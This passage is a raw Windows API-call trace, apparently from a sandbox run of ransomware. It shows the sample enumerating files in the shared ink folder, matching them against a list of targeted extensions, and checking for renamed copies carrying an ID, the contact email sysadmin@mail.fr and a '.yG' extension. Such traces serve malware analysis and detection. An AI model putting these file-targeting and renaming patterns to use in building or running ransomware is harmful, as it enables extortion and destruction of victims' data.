	[0046.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".zip") returned 4
	[0046.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.344] lstrlenW (lpString=".rar") returned 4
	[0046.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.344] lstrlenW (lpString=".bz2") returned 4
	[0046.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.344] lstrlenW (lpString=".7z") returned 3
	[0046.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.344] lstrlenW (lpString=".dbf") returned 4
	[0046.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.344] lstrlenW (lpString=".1cd") returned 4
	[0046.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.344] lstrlenW (lpString=".jpg") returned 4
	[0046.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.344] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.344] lstrlenW (lpString="ipschs.xml") returned 10
	[0046.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.346] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2462) returned 1
	[0046.346] CloseHandle (hObject=0x2ec) returned 1
	[0046.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
	[0046.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.347] lstrlenW (lpString=".doc") returned 4
	[0046.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.347] lstrlenW (lpString=".docx") returned 5
	[0046.347] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0046.347] lstrlenW (lpString=".pdf") returned 4
	[0046.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".xls") returned 4
	[0046.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".xlsx") returned 5
	[0046.348] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0046.348] lstrlenW (lpString=".ppt") returned 4
	[0046.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString=".zip") returned 4
	[0046.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.348] lstrlenW (lpString=".rar") returned 4
	[0046.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".bz2") returned 4
	[0046.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".7z") returned 3
	[0046.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString=".dbf") returned 4
	[0046.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString=".1cd") returned 4
	[0046.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString=".jpg") returned 4
	[0046.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.348] lstrlenW (lpString=".doc") returned 4
	[0046.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".docx") returned 5
	[0046.348] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0046.348] lstrlenW (lpString=".pdf") returned 4
	[0046.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".xls") returned 4
	[0046.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.348] lstrlenW (lpString=".xlsx") returned 5
	[0046.348] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0046.348] lstrlenW (lpString=".ppt") returned 4
	[0046.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.349] lstrlenW (lpString=".zip") returned 4
	[0046.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.349] lstrlenW (lpString=".rar") returned 4
	[0046.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.349] lstrlenW (lpString=".bz2") returned 4
	[0046.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.349] lstrlenW (lpString=".7z") returned 3
	[0046.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.349] lstrlenW (lpString=".dbf") returned 4
	[0046.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.349] lstrlenW (lpString=".1cd") returned 4
	[0046.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0046.349] lstrlenW (lpString=".jpg") returned 4
	[0046.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.349] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.349] lstrlenW (lpString="ipsdan.xml") returned 10
	[0046.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.352] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2514) returned 1
	[0046.352] CloseHandle (hObject=0x2ec) returned 1
	[0046.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0046.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.352] lstrlenW (lpString=".doc") returned 4
	[0046.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.352] lstrlenW (lpString=".docx") returned 5
	[0046.352] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0046.352] lstrlenW (lpString=".pdf") returned 4
	[0046.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.352] lstrlenW (lpString=".xls") returned 4
	[0046.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.352] lstrlenW (lpString=".xlsx") returned 5
	[0046.352] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0046.352] lstrlenW (lpString=".ppt") returned 4
	[0046.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".zip") returned 4
	[0046.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.353] lstrlenW (lpString=".rar") returned 4
	[0046.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString=".bz2") returned 4
	[0046.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString=".7z") returned 3
	[0046.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".dbf") returned 4
	[0046.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".1cd") returned 4
	[0046.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".jpg") returned 4
	[0046.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".doc") returned 4
	[0046.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString=".docx") returned 5
	[0046.353] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0046.353] lstrlenW (lpString=".pdf") returned 4
	[0046.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString=".xls") returned 4
	[0046.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString=".xlsx") returned 5
	[0046.353] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0046.353] lstrlenW (lpString=".ppt") returned 4
	[0046.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.353] lstrlenW (lpString=".zip") returned 4
	[0046.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.353] lstrlenW (lpString=".rar") returned 4
	[0046.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.354] lstrlenW (lpString=".bz2") returned 4
	[0046.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.354] lstrlenW (lpString=".7z") returned 3
	[0046.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.354] lstrlenW (lpString=".dbf") returned 4
	[0046.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.354] lstrlenW (lpString=".1cd") returned 4
	[0046.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0046.354] lstrlenW (lpString=".jpg") returned 4
	[0046.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.354] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.354] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0046.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.356] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2616) returned 1
	[0046.356] CloseHandle (hObject=0x2ec) returned 1
	[0046.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
	[0046.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.356] lstrlenW (lpString=".doc") returned 4
	[0046.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.356] lstrlenW (lpString=".docx") returned 5
	[0046.356] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0046.356] lstrlenW (lpString=".pdf") returned 4
	[0046.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.356] lstrlenW (lpString=".xls") returned 4
	[0046.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".xlsx") returned 5
	[0046.357] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0046.357] lstrlenW (lpString=".ppt") returned 4
	[0046.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString=".zip") returned 4
	[0046.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.357] lstrlenW (lpString=".rar") returned 4
	[0046.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".bz2") returned 4
	[0046.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".7z") returned 3
	[0046.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString=".dbf") returned 4
	[0046.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString=".1cd") returned 4
	[0046.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString=".jpg") returned 4
	[0046.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.357] lstrlenW (lpString=".doc") returned 4
	[0046.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".docx") returned 5
	[0046.357] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0046.357] lstrlenW (lpString=".pdf") returned 4
	[0046.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".xls") returned 4
	[0046.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.357] lstrlenW (lpString=".xlsx") returned 5
	[0046.357] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0046.358] lstrlenW (lpString=".ppt") returned 4
	[0046.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.358] lstrlenW (lpString=".zip") returned 4
	[0046.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.358] lstrlenW (lpString=".rar") returned 4
	[0046.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.358] lstrlenW (lpString=".bz2") returned 4
	[0046.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.358] lstrlenW (lpString=".7z") returned 3
	[0046.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.358] lstrlenW (lpString=".dbf") returned 4
	[0046.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.358] lstrlenW (lpString=".1cd") returned 4
	[0046.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0046.358] lstrlenW (lpString=".jpg") returned 4
	[0046.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.358] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.358] lstrlenW (lpString="ipsel.xml") returned 9
	[0046.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.363] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2618) returned 1
	[0046.363] CloseHandle (hObject=0x2ec) returned 1
	[0046.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0046.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.366] lstrlenW (lpString=".doc") returned 4
	[0046.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.366] lstrlenW (lpString=".docx") returned 5
	[0046.366] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0046.366] lstrlenW (lpString=".pdf") returned 4
	[0046.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.366] lstrlenW (lpString=".xls") returned 4
	[0046.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".xlsx") returned 5
	[0046.367] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0046.367] lstrlenW (lpString=".ppt") returned 4
	[0046.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString=".zip") returned 4
	[0046.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.367] lstrlenW (lpString=".rar") returned 4
	[0046.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".bz2") returned 4
	[0046.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".7z") returned 3
	[0046.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString=".dbf") returned 4
	[0046.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString=".1cd") returned 4
	[0046.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString=".jpg") returned 4
	[0046.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.367] lstrlenW (lpString=".doc") returned 4
	[0046.367] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".docx") returned 5
	[0046.367] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0046.367] lstrlenW (lpString=".pdf") returned 4
	[0046.367] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".xls") returned 4
	[0046.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.367] lstrlenW (lpString=".xlsx") returned 5
	[0046.367] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0046.367] lstrlenW (lpString=".ppt") returned 4
	[0046.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.368] lstrlenW (lpString=".zip") returned 4
	[0046.368] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.368] lstrlenW (lpString=".rar") returned 4
	[0046.368] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.368] lstrlenW (lpString=".bz2") returned 4
	[0046.368] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.368] lstrlenW (lpString=".7z") returned 3
	[0046.368] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.368] lstrlenW (lpString=".dbf") returned 4
	[0046.368] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.368] lstrlenW (lpString=".1cd") returned 4
	[0046.368] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0046.368] lstrlenW (lpString=".jpg") returned 4
	[0046.368] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.368] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.368] lstrlenW (lpString="ipsfra.xml") returned 10
	[0046.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.373] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2628) returned 1
	[0046.373] CloseHandle (hObject=0x2ec) returned 1
	[0046.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20
	[0046.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString=".doc") returned 4
	[0046.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString=".docx") returned 5
